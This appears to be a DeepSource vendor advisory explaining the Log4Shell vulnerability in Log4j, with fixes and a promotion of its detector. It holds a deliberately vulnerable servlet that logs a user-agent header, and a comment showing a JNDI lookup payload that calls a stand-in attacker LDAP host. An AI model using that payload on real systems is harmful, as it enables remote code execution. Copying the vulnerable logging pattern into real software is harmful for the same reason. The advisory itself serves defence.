Log4Shell: Apache Log4j Vulnerability

What it is and how to detect and fix it with DeepSource.

Apache Log4j is a popular logging library used across the JVM ecosystem. On Dec 10 2021, a high severity vulnerability was disclosed, dubbed Log4Shell. If you are using a version of Log4j between 2.0 and 2.14.1, an RCE (Remote Code Execution) attack is possible. An attacker can perform a malicious Java Naming and Directory Interface (JNDI) object lookup to chain other exploits if your code logs request data, such as a user agent header, using a vulnerable Log4j version.

Here is an example of this issue using a servlet:

@WebServlet(value="/some/path", name="vulnerableServlet")
public class VulnerableServlet extends HttpServlet {
    private static final Logger logger = LogManager.getLogger(
        VulnerableServlet.class.getName()
    );

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException {
        String userAgent = req.getHeader("user-agent");
        // will trigger an RCE exploit if the user agent contains a JNDI scheme url.
        // Here, the target is a malicious LDAP server.
        // For example: ${jndi:ldap://attacker.com/a}
        logger.info("Request user agent is " + userAgent);
    }
}

How to fix Log4Shell?

1. Upgrade to log4j 2.15.0. Log4j’s latest version, 2.15.0 fixes this issue. This is a permanent fix. However, if you’re unable to do this for some reason, there are other measures you can take.

2. Remove the JndiLookup class from your application’s classpath. This vulnerability exploits log4j’s ability to parse JNDI lookup urls interpolated in logged strings. If the JndiLookup class is removed, the worst that can happen is an exception thrown when a malicious input is logged. This can be done by deleting the JndiLookup.class file from your copy of the log4j core JAR file.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Note that this may need to be applied for every release of your application if you make use of fat jars in your deployment. It may be better to upgrade your log4j version in such cases.

1. Set the log4j2.formatMsgNoLookups property or com.sun.jndi.rmi.object.trustURLCodebase and other associated properties to true Depending on the version of log4j used (>= 2.10), you may be able to set the log4j2.formatMsgNoLookups property or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true to mitigate this issue. This is inadvisable in the long run; upgrading your log4j dependency is recommended.

It is also recommended to set the following properties to false (this is not an exhaustive list):

• com.sun.jndi.rmi.object.trustURLCodebase
• com.sun.jndi.cosnaming.object.trustURLCodebase
• com.sun.jndi.ldap.object.trustURLCodebase

These properties are set to false by default in Java versions above 11.0.1, as well as in minor versions 6u211, 7u201, 8u191 and above. It is not a good idea to rely on this, as there may be cases where they are set to true manually, which would make this vulnerability exploitable again.

Remediation of Log4Shell with DeepSource

We’ve added a new issue, JAVA-A0122, in our Java analyzer to detect if your code base is possibly impacted by Log4Shell. As a proactive measure, we have triggered analysis on all Java repositories that have DeepSource activated. If your code requires changes due to Log4Shell, you should see this issue in the Issues tab of your repository dashboard.

If you’re not a DeepSource user yet, get started with creating a free account and analyze your Java repository.

References